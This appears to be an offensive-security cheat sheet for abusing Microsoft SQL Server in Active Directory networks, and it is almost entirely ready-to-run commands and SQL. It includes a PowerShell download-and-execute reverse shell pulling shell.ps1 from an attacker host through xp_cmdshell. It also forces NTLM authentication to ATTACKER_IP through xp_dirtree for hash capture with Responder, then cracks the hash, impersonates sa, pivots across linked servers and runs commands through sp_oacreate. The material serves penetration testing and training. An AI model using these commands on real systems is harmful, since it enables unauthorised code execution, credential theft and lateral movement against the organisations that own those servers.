Service bank
DIRECTORY / AD 1433/tcp 1434/udp

MSSQL in AD Environments

aka SQL Server, mssqlclient, xp_cmdshell, Linked Servers

MSSQL abuse in AD contexts: SQL Server discovery, authentication (Windows auth / SQL auth / impersonation), xp_cmdshell RCE, linked server traversal, NetNTLM hash capture via xp_dirtree, and MSSQL to lateral movement.

Ports

PortProtoNotes
1433tcpMSSQL default port
1434udpSQL Browser service (instance discovery)

Fingerprint

  • nmap -p 1433 or nxc mssql reveals SQL Server instances
  • UDP 1434 browser service reveals named instances (MSSQL\SQLEXPRESS etc.)

Key files

PathHoldsSensitive
master..xp_dirtree UNC path forces MSSQL service account NTLM auth (NetNTLM hash capture) sensitive
C:\Windows\Temp\ common staging location for xp_cmdshell output

Exploitation primitives

  • xp_cmdshell: OS command execution as the MSSQL service account
  • xp_dirtree + Responder: capture MSSQL service account NetNTLMv2 hash
  • Linked server traversal: pivot from a low-priv MSSQL to a privileged linked server
  • Impersonation (EXECUTE AS): escalate from low-priv SQL login to sysadmin

Discovery

# nmap
nmap -p 1433 --open 10.129.0.0/24
nmap -p 1433 -sV --script ms-sql-info 10.129.1.10

# UDP 1434 — SQL Browser (reveals named instances)
nmap -sU -p 1434 10.129.1.10

# nxc
nxc mssql 10.129.0.0/24

# SPN enumeration (SQL Server often registers SPNs)
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP
# Look for: MSSQLSvc/hostname.domain.local:1433

Connect (mssqlclient.py)

# SQL auth
mssqlclient.py sa:password@TARGET

# Windows auth (domain account)
mssqlclient.py -windows-auth domain.local/user:pass@TARGET

# Hash auth (Windows auth)
mssqlclient.py -windows-auth -hashes :NTHASH domain.local/user@TARGET

# Named instance
mssqlclient.py -windows-auth domain.local/user:pass@TARGET\\SQLEXPRESS

Once connected, mssqlclient.py gives an SQL> prompt.


Reconnaissance (SQL Queries)

-- Current user and privileges
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');

-- All logins
SELECT name, type_desc, is_disabled FROM sys.server_principals;

-- All databases
SELECT name FROM sys.databases;

-- Linked servers
SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;

-- Impersonatable logins
SELECT DISTINCT b.name FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

xp_cmdshell — OS Command Execution

-- Check if enabled
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell';

-- Enable xp_cmdshell (requires sysadmin)
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Run a command
EXECUTE xp_cmdshell 'whoami';
EXECUTE xp_cmdshell 'net user';

-- Reverse shell
EXECUTE xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER/shell.ps1'')"';

In mssqlclient.py:

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
SQL> xp_cmdshell "powershell -enc BASE64_PAYLOAD"

xp_dirtree — NetNTLM Hash Capture

Force the MSSQL service account to authenticate to an attacker-controlled SMB server:

# Terminal 1: Start Responder
sudo responder -I eth0 -wrf

# Terminal 2: Connect to MSSQL and trigger
mssqlclient.py -windows-auth domain.local/user:pass@TARGET
-- Trigger NTLM auth to attacker's Responder
EXEC master..xp_dirtree '\\ATTACKER_IP\share', 1, 1;

-- Alternative: xp_fileexist
EXEC master..xp_fileexist '\\ATTACKER_IP\share\test.txt';

Responder captures the NetNTLMv2 hash of the MSSQL service account. Crack with:

hashcat -m 5600 mssql_hash.txt /usr/share/wordlists/rockyou.txt

Impersonation Escalation

If a low-priv SQL login can impersonate a sysadmin:

-- Check impersonation rights
SELECT DISTINCT b.name FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate sysadmin
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');

-- Enable xp_cmdshell as impersonated sysadmin
EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';

-- Revert
REVERT;

Linked Server Traversal

Jump from a low-privilege MSSQL server to a linked server that may have higher privilege:

-- List linked servers
SELECT * FROM sys.servers WHERE is_linked = 1;

-- Execute query on linked server
EXEC ('SELECT @@SERVERNAME') AT [LINKED_SERVER_NAME];
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT @@SERVERNAME, SYSTEM_USER');

-- Enable xp_cmdshell on linked server (if sysadmin there)
EXEC ('EXECUTE sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME];
EXEC ('EXECUTE xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];
# mssqlclient.py linked server helper
SQL> enum_links
SQL> use_link [LINK_NAME]
SQL> xp_cmdshell whoami

Token Escalation via sp_oacreate

Alternative when xp_cmdshell is blocked:

DECLARE @shell INT;
EXECUTE sp_oacreate 'wscript.shell', @shell OUT;
EXECUTE sp_oamethod @shell, 'run', NULL, 'cmd.exe /c whoami > C:\Temp\out.txt', '1', 'true';
EXECUTE sp_oadestroy @shell;

-- Read output
CREATE TABLE #output (line NVARCHAR(255));
BULK INSERT #output FROM 'C:\Temp\out.txt';
SELECT * FROM #output;
DROP TABLE #output;

nxc MSSQL Quick Reference

# Authentication test
nxc mssql TARGET -u sa -p 'Password123'
nxc mssql TARGET -u sa -p 'Password123' --local-auth

# Execute OS command
nxc mssql TARGET -u sa -p pass -x 'whoami'

# SQL query
nxc mssql TARGET -u sa -p pass -q 'SELECT name FROM sys.databases'

References